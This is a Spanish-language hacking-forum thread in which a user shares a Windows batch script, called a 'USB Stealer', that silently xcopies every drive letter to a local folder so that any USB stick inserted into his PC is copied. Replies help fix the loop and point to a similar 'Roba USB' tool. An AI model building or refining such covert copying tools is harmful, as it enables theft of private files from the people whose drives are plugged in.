Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: shhadow9 en 1 Junio 2014, 14:27 pm



Título: Ayuda Código CMD- USB Stealer
Publicado por: shhadow9 en 1 Junio 2014, 14:27 pm
Hola buenas,
Quiero hacer un programa que: Copie memorias USBs en una carpeta (que yo elija) para ver que contenia la USB que se conecto en mi pc, pero que tambien cuando haya copiado la USB, siga funcionando por si meten otra USB y tambien copiarla en otra carpeta con un nombre diferente,
Bien dicho esto yo he estado trabajando en el código y he conseguido que me copie las USBs, pero aun me falta que si se introduce una segunda USB la copie tambien.
Mi código:
Código:
@echo off
color 0a
cls
 
:C
           
                           
if exist nose (
exit
             
) else ( 
xcopy "A:" "nose" /Y /H /E /F /I 
xcopy "B:" "nose" /Y /H /E /F /I
xcopy "D:" "nose" /Y /H /E /F /I
xcopy "E:" "nose" /Y /H /E /F /I
xcopy "F:" "nose" /Y /H /E /F /I
xcopy "G:" "nose" /Y /H /E /F /I
xcopy "H:" "nose" /Y /H /E /F /I
xcopy "I:" "nose" /Y /H /E /F /I
xcopy "J:" "nose" /Y /H /E /F /I
xcopy "K:" "nose" /Y /H /E /F /I
goto C
 
)
Espero su ayuda, Gracias de antemano [Escrito en código Bash]


Título: Re: Ayuda Código CMD- USB Stealer
Publicado por: adrianmendezRap en 1 Junio 2014, 15:22 pm
No digo que en Batch no sea posible, pero has probado con otros lenguajes de scripting un poco mas avanzados? Al fin de cuentas Batch es una pasarela para la ejecución de procesos automatizados, aunque se le llame lenguaje no llega a serlo.


Título: Re: Ayuda Código CMD- USB Stealer
Publicado por: shhadow9 en 3 Junio 2014, 21:04 pm
Intente hacerlo en vb 2010 pero tamben llegue al mismo problema lo de las carpetas


Título: Re: Ayuda Código CMD- USB Stealer
Publicado por: engel lex en 4 Junio 2014, 03:11 am
Intente hacerlo en vb 2010 pero tamben llegue al mismo problema lo de las carpetas


un ejemplo sacado de la misma msdn solo buscando en google sobre listar carpetas en vb
Código
  1. Dim archivo As String
  2. List1.Clear
  3. archivo = Dir(Text1.Text)
  4. Do While archivo <> ""
  5. List1.AddItem archivo
  6. archivo = Dir
  7. Loop


Título: Re: Ayuda Código CMD- USB Stealer
Publicado por: daryo en 4 Junio 2014, 05:10 am
bueno por esto:
Código
  1. if exist nose (
  2.  
  3. )
como encuentra el directorio nose una vez copiada una memoria usb, comprueba que existe el directorio y se cierra el programa y por tanto no copia nada. tendras que crear un directorio aparte por cada memoria usb.

Código
  1. xcopy "A:" "A" /Y /H /E /F /I  
  2. xcopy "B:" "B" /Y /H /E /F /I

y luego comprobar si existe cada directorio. claro hay mejores formas de hacerlo pero lo digo asi para que encaje con tu programa


Título: Re: Ayuda Código CMD- USB Stealer
Publicado por: Eleкtro en 28 Junio 2014, 07:32 am
Podrías sacar algunas ideas productivas de aquí:

(http://img688.imageshack.us/img688/6033/prtscrcaptureme.jpg)

[BATCH] [APORTE] USB MON (Roba USB) (http://foro.elhacker.net/buscador-t372089.0.html)

PD: Pero opino lo mismo que ya te comentaron, deberías utilizar un lenguaje de verdad.

Saludos